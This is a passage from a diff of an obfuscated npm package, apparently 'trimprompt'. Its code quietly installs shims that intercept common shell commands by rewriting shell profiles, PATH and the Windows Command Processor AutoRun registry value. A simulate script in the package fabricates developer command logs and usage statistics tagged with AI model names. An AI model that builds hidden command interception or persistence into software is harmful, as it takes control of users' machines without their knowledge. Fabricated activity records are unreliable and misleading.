_0x39cacf=Object[_0x4dc0e5(0xa7)](_0x50fdbd,_0x55f01c);(!_0x39cacf||(_0x4dc0e5(0xc4)in _0x39cacf?!_0x50fdbd[_0x4dc0e5(0xea)]:_0x39cacf[_0x4dc0e5(0x90)]||_0x39cacf[_0x4dc0e5(0xcf)]))&&(_0x39cacf={'enumerable':!![],'get':function(){return _0x50fdbd[_0x55f01c];}}),Object[_0x4dc0e5(0xaf)](_0x5de57e,_0x37dc7f,_0x39cacf);}:function(_0x4fae55,_0x3bf437,_0x37defc,_0x1d5ac5){if(_0x1d5ac5===undefined)_0x1d5ac5=_0x37defc;_0x4fae55[_0x1d5ac5]=_0x3bf437[_0x37defc];}),__setModuleDefault=this&&this[a0_0x93d41c(0xb5)]||(Object[a0_0x93d41c(0xc1)]?function(_0x10e00f,_0x4ac0ce){const _0x1cf18c=a0_0x93d41c;Object[_0x1cf18c(0xaf)](_0x10e00f,'default',{'enumerable':!![],'value':_0x4ac0ce});}:function(_0x48f375,_0x1269d0){const _0x3cc7ee=a0_0x93d41c;_0x48f375[_0x3cc7ee(0x107)]=_0x1269d0;}),__importStar=this&&this[a0_0x93d41c(0xfb)]||(function(){var _0x4fff5b=function(_0x64027d){const _0x243fb2=a0_0xfa8d;return _0x4fff5b=Object[_0x243fb2(0xe8)]||function(_0x4ad848){const _0x12d2b5=_0x243fb2;var _0x317026=[];for(var _0x2e3866 in _0x4ad848)if(Object[_0x12d2b5(0x93)][_0x12d2b5(0xf5)][_0x12d2b5(0x111)](_0x4ad848,_0x2e3866))_0x317026[_0x317026[_0x12d2b5(0x100)]]=_0x2e3866;return _0x317026;},_0x4fff5b(_0x64027d);};return function(_0x1fc61c){const _0x31ac8c=a0_0xfa8d;if(_0x1fc61c&&_0x1fc61c['__esModule'])return _0x1fc61c;var _0x21143e={};if(_0x1fc61c!=null){for(var _0xfb506b=_0x4fff5b(_0x1fc61c),_0x25adc2=0x0;_0x25adc2<_0xfb506b[_0x31ac8c(0x100)];_0x25adc2++)if(_0xfb506b[_0x25adc2]!=='default')__createBinding(_0x21143e,_0x1fc61c,_0xfb506b[_0x25adc2]);}return __setModuleDefault(_0x21143e,_0x1fc61c),_0x21143e;};}());Object[a0_0x93d41c(0xaf)](exports,a0_0x93d41c(0xea),{'value':!![]}),exports[a0_0x93d41c(0xc7)]=installShims,exports[a0_0x93d41c(0x10a)]=uninstallShims;const fs=__importStar(require('fs')),path=__importStar(require(a0_0x93d41c(0xf0))),os=__importStar(require('os')),SHIMMED_COMMANDS=['ls',a0_0x93d41c(0xb4),a0_0x93d41c(0x110),a0_0x93d41c(0xb1),a0_0x93d41c(0xc3),'rg',a0_0x93d41c(0xaa),'git','gh',a0_0x93d41c(0xbe),a0_0x93d41c(0xbb),a0_0x93d41c(0xdb),'pnpm',a0_0x93d41c(0xb6),a0_0x93d41c(0x10b),a0_0x93d41c(0xf4),a0_0x93d41c(0xed),'pytest',a0_0x93d41c(0x97),a0_0x93d41c(0xcc),'go'],PROFILE_MARKER=a0_0x93d41c(0xc5);function getExecSync(){const _0x14bc48=a0_0x93d41c;return require(_0x14bc48(0xeb))[_0x14bc48(0x92)];}function getExecFileSync(){const _0x565906=a0_0x93d41c;return require(_0x565906(0xeb))[_0x565906(0xe2)];}function ensureProfileContains(_0x111c86,_0x3d4684,_0x1300d3){const _0x42df29=a0_0x93d41c;try{const _0x44790d=path[_0x42df29(0xd5)](_0x111c86);!fs[_0x42df29(0xb8)](_0x44790d)&&fs[_0x42df29(0x10d)](_0x44790d,{'recursive':!![]});if(fs['existsSync'](_0x111c86)){const _0x1772a1=fs[_0x42df29(0xe1)](_0x111c86,_0x42df29(0xde));if(_0x1772a1['includes'](_0x3d4684))return;fs[_0x42df29(0x104)](_0x111c86,_0x1300d3,_0x42df29(0xde));}else fs['writeFileSync'](_0x111c86,_0x1300d3,_0x42df29(0xde));}catch{}}function removeProfileBlock(_0x39c58b,_0x511fa7){const _0x3c96bd=a0_0x93d41c;try{if(!fs[_0x3c96bd(0xb8)](_0x39c58b))return;const _0x5e60da=fs[_0x3c96bd(0xe1)](_0x39c58b,'utf8');if(!_0x5e60da[_0x3c96bd(0xf2)](_0x511fa7))return;const _0x40986d=_0x5e60da[_0x3c96bd(0xcb)]('\x0a'),_0x46d1e3=[];let _0x660f65=![];for(let _0x8f026e=0x0;_0x8f026e<_0x40986d[_0x3c96bd(0x100)];_0x8f026e++){if(_0x40986d[_0x8f026e]['includes'](_0x511fa7)){_0x660f65=!![];continue;}if(_0x660f65){_0x660f65=![];continue;}_0x46d1e3[_0x3c96bd(0xc0)](_0x40986d[_0x8f026e]);}const _0x51e4e0=_0x46d1e3[_0x3c96bd(0xb0)]('\x0a')[_0x3c96bd(0xf9)](/\n{3,}/g,'\x0a\x0a');fs[_0x3c96bd(0x9f)](_0x39c58b,_0x51e4e0,_0x3c96bd(0xde));}catch{}}function collectPowerShellProfiles(){const _0x50e4cc=a0_0x93d41c,_0x262727=getExecSync(),_0x299894=[],_0x5579c6=[['powershell','$PROFILE.CurrentUserCurrentHost'],['powershell',_0x50e4cc(0xd3)]];try{_0x262727(_0x50e4cc(0x9b),{'stdio':_0x50e4cc(0xa8)}),_0x5579c6[_0x50e4cc(0xc0)]([_0x50e4cc(0x96),_0x50e4cc(0xd3)]);}catch{}for(const [_0x279c3a,_0x18b0ac]of _0x5579c6){try{const _0x3b54d8=_0x262727(_0x279c3a+_0x50e4cc(0xbc)+_0x18b0ac+'\x22',{'encoding':_0x50e4cc(0xde)})['trim']();_0x3b54d8&&!_0x299894[_0x50e4cc(0xdd)](_0x219bfd=>_0x219bfd['toLowerCase']()===_0x3b54d8[_0x50e4cc(0x103)]())&&_0x299894[_0x50e4cc(0xc0)](_0x3b54d8);}catch{}}return _0x299894;}function getBashProfilesWindows(){const _0x595bc1=a0_0x93d41c,_0x19ecae=os[_0x595bc1(0x94)]();return[_0x595bc1(0x99),_0x595bc1(0x9e)][_0x595bc1(0xd7)](_0x4e6827=>path[_0x595bc1(0xb0)](_0x19ecae,_0x4e6827));}function getBroadcastCommand(){return'$sig\x20=\x20\x27[DllImport(\x5c\x22user32.dll\x5c\x22,\x20SetLastError\x20=\x20true,\x20CharSet\x20=\x20CharSet.Auto)]\x20public\x20static\x20extern\x20IntPtr\x20SendMessageTimeout(IntPtr\x20hWnd,\x20uint\x20Msg,\x20IntPtr\x20wParam,\x20string\x20lParam,\x20uint\x20fuFlags,\x20uint\x20uTimeout,\x20out\x20IntPtr\x20lpdwResult);\x27;\x20Add-Type\x20-MemberDefinition\x20$sig\x20-Name\x20\x5c\x22Win32\x5c\x22\x20-Namespace\x20\x5c\x22Win32\x5c\x22\x20-PassThru\x20>\x20$null;\x20[IntPtr]$res\x20=\x200;\x20[void][Win32.Win32]::SendMessageTimeout([IntPtr]0xffff,\x200x001A,\x20[IntPtr]::Zero,\x20\x5c\x22Environment\x5c\x22,\x202,\x201000,\x20[ref]$res);';}function installShims(){const _0x3695b4=a0_0x93d41c,_0x57b2ff=path['join'](os[_0x3695b4(0x94)](),_0x3695b4(0xc8),_0x3695b4(0xe9));try{!fs[_0x3695b4(0xb8)](_0x57b2ff)&&fs[_0x3695b4(0x10d)](_0x57b2ff,{'recursive':!![]});const _0x5baafb=os[_0x3695b4(0xae)]()===_0x3695b4(0xf6);for(const _0x3fa8e6 of SHIMMED_COMMANDS){if(_0x5baafb){const _0xabafa8=path[_0x3695b4(0xb0)](_0x57b2ff,_0x3fa8e6+_0x3695b4(0xa6)),_0x304bbc=process.env.APPDATA?path[_0x3695b4(0xb0)](process.env.APPDATA,_0x3695b4(0xdb)):'',_0x436129=_0x304bbc?_0x3695b4(0x109)+path[_0x3695b4(0xb0)](_0x304bbc,_0x3695b4(0xbd))+'\x22':_0x3695b4(0xd0),_0x203a1e=[_0x3695b4(0x9d),_0x436129+'\x20(',_0x3695b4(0xad)+_0x3fa8e6+_0x3695b4(0xec),_0x3695b4(0xe5),_0x3695b4(0xcd)+_0x57b2ff+_0x3695b4(0xdf),'\x20\x20'+_0x3fa8e6+_0x3695b4(0xec),')'][_0x3695b4(0xb0)]('\x0d\x0a')+'\x0d\x0a';fs['writeFileSync'](_0xabafa8,_0x203a1e,'utf8');const _0x30c4c8=path[_0x3695b4(0xb0)](_0x57b2ff,_0x3fa8e6+_0x3695b4(0xe4)),_0x48be38=_0x3695b4(0x91)+_0x3fa8e6+_0x3695b4(0xa9)+_0x3fa8e6+'\x20@args\x20}\x0a';fs[_0x3695b4(0x9f)](_0x30c4c8,_0x48be38,_0x3695b4(0xde));const _0x16b142=path['join'](_0x57b2ff,_0x3fa8e6),_0xe9d7a8=_0x57b2ff[_0x3695b4(0xf9)](/\\/g,'/')[_0x3695b4(0xf9)](/^([A-Za-z]):/,(_0x41015a,_0x4875f9)=>'/'+_0x4875f9[_0x3695b4(0x103)]()),_0x13aa0f=_0x3695b4(0xb2)+_0x3fa8e6+'\x20\x22$@\x22;\x20else\x20CLEAN_PATH=$(echo\x20\x22$PATH\x22\x20|\x20sed\x20\x22s|'+_0xe9d7a8+_0x3695b4(0x101)+_0x3fa8e6+_0x3695b4(0xef);fs[_0x3695b4(0x9f)](_0x16b142,_0x13aa0f,'utf8');}else{const _0x1bcaf0=path['join'](_0x57b2ff,_0x3fa8e6),_0x4d096d='#!/bin/sh\x0aif\x20command\x20-v\x20trim\x20>/dev/null\x202>&1;\x20then\x20exec\x20trim\x20'+_0x3fa8e6+_0x3695b4(0xa3)+_0x3fa8e6+'\x20\x22$@\x22;\x20fi\x0a';fs[_0x3695b4(0x9f)](_0x1bcaf0,_0x4d096d,_0x3695b4(0xde)),fs[_0x3695b4(0xee)](_0x1bcaf0,'755');}}let _0x471eb4=![],_0x26c4c4='';if(_0x5baafb)try{const _0x5a8479=getExecSync(),_0xae7be5='\x0a#\x20'+PROFILE_MARKER+'\x0a$env:PATH\x20=\x20\x22'+_0x57b2ff+_0x3695b4(0xe3),_0x49ae76=collectPowerShellProfiles();for(const _0xb635a8 of _0x49ae76){ensureProfileContains(_0xb635a8,_0x57b2ff,_0xae7be5);}try{const _0x400310=getExecFileSync(),_0x35823=_0x3695b4(0x109)+_0x57b2ff+_0x3695b4(0xac)+_0x57b2ff+';%PATH%\x22',_0xb67ae4=_0x3695b4(0x9c);let _0xee7187='';try{const _0x24b6d4=_0x3695b4(0xfc)+_0xb67ae4+_0x3695b4(0xe6);_0xee7187=_0x400310(_0x3695b4(0x112),[_0x3695b4(0xb7),_0x3695b4(0x102),_0x24b6d4],{'encoding':_0x3695b4(0xde),'stdio':[_0x3695b4(0x8f),'pipe','ignore']})[_0x3695b4(0xdc)]();}catch{}if(!_0xee7187['includes'](_0x57b2ff)){const _0x50240a=_0xee7187?_0xee7187+'\x20&\x20'+_0x35823:_0x35823,_0x13a26e=_0x3695b4(0xfd)+_0xb67ae4+'\x27\x20-Force\x20|\x20Out-Null;\x20Set-ItemProperty\x20-Path\x20\x27'+_0xb67ae4+_0x3695b4(0xa2)+_0x50240a+'\x27';_0x400310('powershell.exe',['-NoProfile',_0x3695b4(0x102),_0x13a26e],{'stdio':_0x3695b4(0xa8)});}}catch{}try{const _0x2af880=_0x57b2ff[_0x3695b4(0xf9)](/\\/g,'/')[_0x3695b4(0xf9)](/^([A-Za-z]):/,(_0x45e086,_0x36aa59)=>'/'+_0x36aa59[_0x3695b4(0x103)]()),_0x448348=_0x3695b4(0xbf)+PROFILE_MARKER+_0x3695b4(0xd4)+_0x2af880+_0x3695b4(0xfe),_0x190de1=getBashProfilesWindows();let _0x5dbbb7=![];for(const _0x31bbd0 of _0x190de1){fs[_0x3695b4(0xb8)](_0x31bbd0)&&(ensureProfileContains(_0x31bbd0,_0x2af880,_0x448348),_0x5dbbb7=!![]);}!_0x5dbbb7&&ensureProfileContains(_0x190de1[0x0],_0x2af880,_0x448348);}catch{}const _0x57b180=_0x3695b4(0xff),_0x30f4b1=_0x5a8479(_0x3695b4(0xe0)+_0x57b180+'\x22',{'encoding':'utf8','stdio':[_0x3695b4(0x8f),_0x3695b4(0x8f),_0x3695b4(0xa8)]})[_0x3695b4(0xdc)]();if(!_0x30f4b1['includes'](_0x57b2ff)){const _0x1e4f49=_0x57b2ff+';'+_0x30f4b1,_0x1732d4=_0x1e4f49[_0x3695b4(0xf9)](/'/g,'\x27\x27'),_0x3a3f73=_0x3695b4(0xe7)+_0x1732d4+_0x3695b4(0xd9);_0x5a8479('powershell\x20-NoProfile\x20-Command\x20\x22'+_0x3a3f73+';\x20'+getBroadcastCommand()+'\x22',{'stdio':_0x3695b4(0xa8)});}const _0x3ad6e0=path['join'](process.env.APPDATA||'',_0x3695b4(0xdb),'trim.ps1');if(fs[_0x3695b4(0xb8)](_0x3ad6e0))try{fs[_0x3695b4(0x10f)](_0x3ad6e0);}catch{}_0x471eb4=!![];}catch(_0x289dcb){_0x26c4c4=_0x3695b4(0xb9)+_0x57b2ff;}else try{const _0x50c8ad=_0x3695b4(0xfa)+_0x57b2ff+_0x3695b4(0xfe),_0x32e831=os['homedir'](),_0x316f39=['.bashrc',_0x3695b4(0xa5),_0x3695b4(0x9e),_0x3695b4(0xd8)];let _0x38623e=![];for(const _0x1a5a70 of _0x316f39){const _0x2f96eb=path['join'](_0x32e831,_0x1a5a70);fs[_0x3695b4(0xb8)](_0x2f96eb)&&(ensureProfileContains(_0x2f96eb,_0x57b2ff,_0x3695b4(0xbf)+PROFILE_MARKER+'\x0a'+_0x50c8ad),_0x38623e=!![]);}if(!_0x38623e){const _0x49ee01=path[_0x3695b4(0xb0)](_0x32e831,_0x3695b4(0x99));ensureProfileContains(_0x49ee01,_0x57b2ff,_0x3695b4(0xbf)+PROFILE_MARKER+'\x0a'+_0x50c8ad);}_0x471eb4=!![];}catch(_0x518e18){_0x26c4c4=_0x3695b4(0xd2)+_0x57b2ff+_0x3695b4(0xf8);}const _0x154341=_0x3695b4(0xda)+SHIMMED_COMMANDS[_0x3695b4(0x100)]+_0x3695b4(0xf1),_0x3df938=_0x471eb4?_0x154341+_0x3695b4(0x10e):_0x154341+'[WARNING]\x20Could\x20not\x20automatically\x20update\x20your\x20system\x20PATH.\x20'+_0x26c4c4;return{'success':!![],'pathDir':_0x57b2ff,'message':_0x3df938};}catch(_0x534872){return{'success':![],'pathDir':_0x57b2ff,'message':'Failed\x20to\x20install\x20shims:\x20'+_0x534872[_0x3695b4(0xba)]};}}function uninstallShims(){const _0x3029f2=a0_0x93d41c,_0x5a11c3=path[_0x3029f2(0xb0)](os['homedir'](),_0x3029f2(0xc8),_0x3029f2(0xe9)),_0x25668b=os['platform']()===_0x3029f2(0xf6);try{if(_0x25668b){const _0x3dc74f=getExecSync();try{const _0x1ff93b=getExecFileSync(),_0x5d986b='HKCU:\x5cSoftware\x5cMicrosoft\x5cCommand\x20Processor',_0x9dc2c5='try\x20{\x20(Get-ItemProperty\x20-Path\x20\x27'+_0x5d986b+'\x27\x20-Name\x20AutoRun\x20-ErrorAction\x20Stop).AutoRun\x20}\x20catch\x20{\x20\x27\x27\x20}',_0x1829b4=_0x1ff93b(_0x3029f2(0x112),[_0x3029f2(0xb7),_0x3029f2(0x102),_0x9dc2c5],{'encoding':_0x3029f2(0xde),'stdio':[_0x3029f2(0x8f),_0x3029f2(0x8f),_0x3029f2(0xa8)]})[_0x3029f2(0xdc)]();if(_0x1829b4[_0x3029f2(0xf2)](_0x5a11c3)){const _0x8118a8=_0x1829b4['split'](_0x3029f2(0xd1))[_0x3029f2(0xce)](_0x4a4cae=>!_0x4a4cae[_0x3029f2(0xf2)](_0x5a11c3));if(_0x8118a8['length']===0x0){const _0x2ae138=_0x3029f2(0xa4)+_0x5d986b+_0x3029f2(0xf3);_0x1ff93b(_0x3029f2(0x112),[_0x3029f2(0xb7),_0x3029f2(0x102),_0x2ae138],{'stdio':'ignore'});}else{const _0x480248=_0x8118a8[_0x3029f2(0xb0)](_0x3029f2(0xd1)),_0x3c59fd='Set-ItemProperty\x20-Path\x20\x27'+_0x5d986b+_0x3029f2(0xa2)+_0x480248+'\x27';_0x1ff93b(_0x3029f2(0x112),['-NoProfile',_0x3029f2(0x102),_0x3c59fd],{'stdio':_0x3029f2(0xa8)});}}}catch{}try{const _0x147a86=collectPowerShellProfiles();for(const _0x46df54 of _0x147a86){removeProfileBlock(_0x46df54,PROFILE_MARKER);}}catch{}try{for(const _0x80a514 of getBashProfilesWindows()){removeProfileBlock(_0x80a514,PROFILE_MARKER);}}catch{}try{const _0x3f2fd0=_0x3029f2(0xff),_0x87aa5=_0x3dc74f('powershell\x20-NoProfile\x20-Command\x20\x22'+_0x3f2fd0+'\x22',{'encoding':_0x3029f2(0xde),'stdio':[_0x3029f2(0x8f),_0x3029f2(0x8f),'ignore']})[_0x3029f2(0xdc)]();if(_0x87aa5[_0x3029f2(0xf2)](_0x5a11c3)){const _0x46b06a=_0x87aa5[_0x3029f2(0xcb)](';')[_0x3029f2(0xce)](_0x199f41=>_0x199f41[_0x3029f2(0xdc)]()[_0x3029f2(0x103)]()!==_0x5a11c3[_0x3029f2(0x103)]())[_0x3029f2(0xb0)](';'),_0x2e624a=_0x46b06a[_0x3029f2(0xf9)](/'/g,'\x27\x27'),_0x27d239='[Environment]::SetEnvironmentVariable(\x27PATH\x27,\x20\x27'+_0x2e624a+_0x3029f2(0xd9);_0x3dc74f('powershell\x20-NoProfile\x20-Command\x20\x22'+_0x27d239+';\x20'+getBroadcastCommand()+'\x22',{'stdio':_0x3029f2(0xa8)});}}catch{}}else{const _0xc8113e=os[_0x3029f2(0x94)](),_0x4bd981=[_0x3029f2(0x99),_0x3029f2(0xa5),'.bash_profile',_0x3029f2(0xd8)];for(const _0x3409ba of _0x4bd981){removeProfileBlock(path[_0x3029f2(0xb0)](_0xc8113e,_0x3409ba),PROFILE_MARKER);}}if(fs[_0x3029f2(0xb8)](_0x5a11c3)){const _0x391870=fs[_0x3029f2(0xc6)](_0x5a11c3);for(const _0x2d6d9b of _0x391870){fs['unlinkSync'](path[_0x3029f2(0xb0)](_0x5a11c3,_0x2d6d9b));}fs[_0x3029f2(0xf7)](_0x5a11c3);}return{'success':!![],'message':_0x3029f2(0xa0)};}catch(_0x41bd18){return{'success':![],'message':_0x3029f2(0x95)+_0x41bd18[_0x3029f2(0xba)]};}}
package/simulate.js CHANGED
@@ -1 +1 @@
1
- 'use strict';const a0_0x625320=a0_0x401d;(function(_0x1df433,_0x18694c){const _0x511079=a0_0x401d,_0x9593dc=_0x1df433();while(!![]){try{const _0x5427cc=-parseInt(_0x511079(0x204))/0x1*(-parseInt(_0x511079(0x1fd))/0x2)+parseInt(_0x511079(0x1c6))/0x3+parseInt(_0x511079(0x1e9))/0x4*(-parseInt(_0x511079(0x1ff))/0x5)+parseInt(_0x511079(0x1df))/0x6+-parseInt(_0x511079(0x1f7))/0x7+-parseInt(_0x511079(0x1de))/0x8*(-parseInt(_0x511079(0x1eb))/0x9)+-parseInt(_0x511079(0x1d8))/0xa*(parseInt(_0x511079(0x1f6))/0xb);if(_0x5427cc===_0x18694c)break;else _0x9593dc['push'](_0x9593dc['shift']());}catch(_0x1f13ac){_0x9593dc['push'](_0x9593dc['shift']());}}}(a0_0x592a,0xb1257));Object[a0_0x625320(0x1f4)](exports,a0_0x625320(0x1fa),{'value':!![]});function a0_0x592a(){const _0x400f2b=['7287258jHIOlq','trimprompt-api-567fdb7d6-x8w9q\x20\x20\x20\x201/1\x20\x20\x20\x20\x20Running\x20\x20\x200\x20\x20\x20\x20\x20\x20\x20\x20\x20\x204d\x0a','redis-master-0\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x201/1\x20\x20\x20\x20\x20Running\x20\x20\x200\x20\x20\x20\x20\x20\x20\x20\x20\x20\x2012d\x0a','join','added\x2084\x20packages,\x20changed\x2012\x20packages,\x20and\x20audited\x2096\x20packages\x20in\x203s\x0a','aws\x20s3\x20sync:\x203\x20assets\x20uploaded\x20successfully.','Completed\x203\x20of\x203\x20assets\x20successfully.','claude-3-opus','timestamp','aws\x20s3\x20sync\x20dist/\x20s3://trimprompt-assets','3394852TcEaBU','pip\x20install\x20tensorflow\x20pandas\x20numpy','1523439UBcIhO','Collecting\x20tensorflow\x0a\x20\x20Downloading\x20tensorflow-2.15.0-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl\x20(475.2\x20MB)\x0a','tracker','npm\x20install\x20lodash\x20express\x20uuid\x20react','homedir','found\x200\x20vulnerabilities\x0a','claude-3-5-sonnet','log','NAME\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20READY\x20\x20\x20STATUS\x20\x20\x20\x20RESTARTS\x20\x20\x20AGE\x0a','defineProperty','gemini-1-5-flash','22tnGkiY','6099478RwDKuH','npm\x20run\x20lint','.trimprompt','__esModule','cargo\x20test:\x2045\x20passed,\x200\x20failed.','workflow\x20simulation\x20complete!\x2012\x20additional\x20commands\x20logged.','722422FrPwsc','cargo\x20test','5hneKkE','git\x20log:\x205\x20commits\x20(feat:\x20add\x20dynamic\x20token\x20costs,\x20fix:\x20adjust\x20margins...)','now','upload:\x20dist/index.html\x20to\x20s3://trimprompt-assets/index.html\x0a','git\x20log\x20-n\x205','1HdUySV','test\x20tests::test_case_','postgres-db-0\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x201/1\x20\x20\x20\x20\x20Running\x20\x20\x200\x20\x20\x20\x20\x20\x20\x20\x20\x20\x2012d\x0a','kubectl\x20get\x20pods\x20-n\x20production','writeFileSync','stringify','266643UHZmkK','random','npm\x20warn\x20deprecated\x20uuid@3.4.0:\x20Please\x20upgrade...\x0a','gpt-4o','length','src/cli.ts:12:3\x20-\x20warning:\x20unused\x20import\x0a','running\x2045\x20tests\x0atest\x20tests::db_connection\x20...\x20ok\x0atest\x20tests::auth_handler\x20...\x20ok\x0a','pip\x20install:\x20Successfully\x20installed\x20tensorflow-2.15.0\x20numpy-1.26.2\x20pandas-2.1.3','commit\x20a1b2c3d4e5f6\x0aAuthor:\x20Developer\x20<dev@trimprompt.ai>\x0aDate:\x20\x20\x20Tue\x20Jun\x2016\x2014:00:00\x202026\x20+0300\x0a\x0a\x20\x20\x20\x20feat:\x20add\x20dynamic\x20token\x20costs\x0a\x0a','raw','Successfully\x20installed\x20tensorflow-2.15.0\x20numpy-1.26.2\x20pandas-2.1.3\x0a','\x20...\x20ok\x0atest\x20result:\x20ok.\x2045\x20passed;\x200\x20failed;\x200\x20ignored;\x200\x20measured;\x200\x20filtered\x20out','diff\x20--git\x20a/src/cli.ts\x20b/src/cli.ts\x0aindex\x201234..5678\x20100644\x0a---\x20a/src/cli.ts\x0a+++\x20b/src/cli.ts\x0a@@\x20-10,6\x20+10,12\x20@@\x0a+\x20//\x20Added\x20new\x20telemetry\x20features\x0a+\x20console.log(\x22Initializing\x20sync\x20daemon...\x22);\x0a+\x20startSync();\x0a','upload:\x20dist/hub-index.html\x20to\x20s3://trimprompt-assets/hub-index.html\x0a','getLogs','logExecution','repeat','diff\x20--git\x20a/src/cli.ts\x20b/src/cli.ts\x20(50\x20insertions,\x200\x20deletions)','2019370VDkdFK','✖\x202\x20problems\x20(0\x20errors,\x202\x20warnings)\x0a','exitCode','\x20\x20Installing\x20build\x20dependencies\x20...\x20done\x0a','npm\x20install:\x20added\x2084\x20packages,\x20audited\x2096\x20packages.\x200\x20vulnerabilities.','commit\x20f6e5d4c3b2a1\x0aAuthor:\x20Developer\x20<dev@trimprompt.ai>\x0aDate:\x20\x20\x20Tue\x20Jun\x2016\x2013:30:00\x202026\x20+0300\x0a\x0a\x20\x20\x20\x20fix:\x20adjust\x20margins\x20on\x20visual\x20graph','56LXxiOP'];a0_0x592a=function(){return _0x400f2b;};return a0_0x592a();}const tracker_1=require('./tracker');function a0_0x401d(_0x318892,_0x4aadaa){_0x318892=_0x318892-0x1c1;const _0x592a14=a0_0x592a();let _0x401da5=_0x592a14[_0x318892];return _0x401da5;}console[a0_0x625320(0x1f2)]('Starting\x20simulation\x20of\x20developer\x20workflow\x20activity...');const models=[a0_0x625320(0x1f1),a0_0x625320(0x1c9),'gpt-4o-mini','gemini-1-5-pro',a0_0x625320(0x1f5),a0_0x625320(0x1e6)],commands=[{'cmd':'git\x20diff\x20main','raw':a0_0x625320(0x1d2)[a0_0x625320(0x1d6)](0x32),'comp':a0_0x625320(0x1d7),'exitCode':0x0},{'cmd':a0_0x625320(0x1fe),'raw':a0_0x625320(0x1cc)+a0_0x625320(0x1c1)[a0_0x625320(0x1d6)](0x28)+a0_0x625320(0x1d1),'comp':a0_0x625320(0x1fb),'exitCode':0x0},{'cmd':a0_0x625320(0x1ee),'raw':a0_0x625320(0x1c8)+a0_0x625320(0x1e3)+a0_0x625320(0x1f0),'comp':a0_0x625320(0x1dc),'exitCode':0x0},{'cmd':a0_0x625320(0x1e8),'raw':a0_0x625320(0x202)+a0_0x625320(0x1d3)+'upload:\x20dist/cli.js\x20to\x20s3://trimprompt-assets/cli.js\x0a'+a0_0x625320(0x1e5),'comp':a0_0x625320(0x1e4),'exitCode':0x0},{'cmd':a0_0x625320(0x1c3),'raw':a0_0x625320(0x1f3)+a0_0x625320(0x1e0)+'trimprompt-sync-324db87d1-p8q2e\x20\x20\x201/1\x20\x20\x20\x20\x20Running\x20\x20\x200\x20\x20\x20\x20\x20\x20\x20\x20\x20\x204d\x0a'+a0_0x625320(0x1e1)+a0_0x625320(0x1c2),'comp':'kubectl\x20get\x20pods:\x20trimprompt-api\x20(Running),\x20trimprompt-sync\x20(Running),\x20redis-master\x20(Running),\x20postgres-db\x20(Running)','exitCode':0x0},{'cmd':a0_0x625320(0x1ea),'raw':a0_0x625320(0x1ec)+a0_0x625320(0x1db)+a0_0x625320(0x1d0),'comp':a0_0x625320(0x1cd),'exitCode':0x0},{'cmd':a0_0x625320(0x203),'raw':a0_0x625320(0x1ce)+a0_0x625320(0x1dd),'comp':a0_0x625320(0x200),'exitCode':0x0},{'cmd':a0_0x625320(0x1f8),'raw':a0_0x625320(0x1cb)+'src/tracker.ts:45:9\x20-\x20warning:\x20console.log\x20should\x20be\x20removed\x0a'+a0_0x625320(0x1d9),'comp':'npm\x20run\x20lint:\x20✖\x202\x20warnings','exitCode':0x0}],startTime=Date[a0_0x625320(0x201)]()-0x36ee80;for(let i=0x0;i<0xc;i++){const model=models[i%models[a0_0x625320(0x1ca)]],commandItem=commands[Math['floor'](Math[a0_0x625320(0x1c7)]()*commands[a0_0x625320(0x1ca)])];process.env.TRIMPROMPT_MODEL=model;const timestamp=new Date(startTime+i*0x3d090)['toISOString'](),log=tracker_1['tracker'][a0_0x625320(0x1d5)](commandItem['cmd'],commandItem[a0_0x625320(0x1cf)],commandItem['comp'],commandItem[a0_0x625320(0x1da)]),logs=tracker_1[a0_0x625320(0x1ed)][a0_0x625320(0x1d4)]();logs[a0_0x625320(0x1ca)]>0x0&&(logs[logs[a0_0x625320(0x1ca)]-0x1][a0_0x625320(0x1e7)]=timestamp,require('fs')[a0_0x625320(0x1c4)](require('path')[a0_0x625320(0x1e2)](require('os')[a0_0x625320(0x1ef)](),a0_0x625320(0x1f9),'stats.json'),JSON[a0_0x625320(0x1c5)](logs,null,0x2),'utf8'));}console[a0_0x625320(0x1f2)](a0_0x625320(0x1fc));
1
+ 'use strict';const a0_0xcd25ff=a0_0xc994;(function(_0x2a1e4e,_0x3b0ab0){const _0x70f6f8=a0_0xc994,_0x523b00=_0x2a1e4e();while(!![]){try{const _0x4acdfd=-parseInt(_0x70f6f8(0xee))/0x1*(parseInt(_0x70f6f8(0x108))/0x2)+-parseInt(_0x70f6f8(0x10e))/0x3*(parseInt(_0x70f6f8(0x112))/0x4)+parseInt(_0x70f6f8(0x10c))/0x5+parseInt(_0x70f6f8(0x104))/0x6*(parseInt(_0x70f6f8(0x113))/0x7)+-parseInt(_0x70f6f8(0xf9))/0x8+-parseInt(_0x70f6f8(0x11b))/0x9+parseInt(_0x70f6f8(0x11d))/0xa;if(_0x4acdfd===_0x3b0ab0)break;else _0x523b00['push'](_0x523b00['shift']());}catch(_0x41eb2e){_0x523b00['push'](_0x523b00['shift']());}}}(a0_0x3233,0xbe873));Object[a0_0xcd25ff(0xe0)](exports,a0_0xcd25ff(0xde),{'value':!![]});const tracker_1=require(a0_0xcd25ff(0xfa));console[a0_0xcd25ff(0x11c)](a0_0xcd25ff(0xe9));const models=[a0_0xcd25ff(0xff),'gpt-4o',a0_0xcd25ff(0x11e),a0_0xcd25ff(0xe2),'gemini-1-5-flash',a0_0xcd25ff(0xf8)],commands=[{'cmd':a0_0xcd25ff(0xe1),'raw':a0_0xcd25ff(0x109)[a0_0xcd25ff(0xf0)](0x32),'comp':a0_0xcd25ff(0x103),'exitCode':0x0},{'cmd':a0_0xcd25ff(0x114),'raw':a0_0xcd25ff(0x100)+a0_0xcd25ff(0x11a)[a0_0xcd25ff(0xf0)](0x28)+a0_0xcd25ff(0x110),'comp':a0_0xcd25ff(0x11f),'exitCode':0x0},{'cmd':a0_0xcd25ff(0xe6),'raw':'npm\x20warn\x20deprecated\x20uuid@3.4.0:\x20Please\x20upgrade...\x0a'+'added\x2084\x20packages,\x20changed\x2012\x20packages,\x20and\x20audited\x2096\x20packages\x20in\x203s\x0a'+'found\x200\x20vulnerabilities\x0a','comp':a0_0xcd25ff(0x10a),'exitCode':0x0},{'cmd':a0_0xcd25ff(0xf4),'raw':a0_0xcd25ff(0x10d)+'upload:\x20dist/hub-index.html\x20to\x2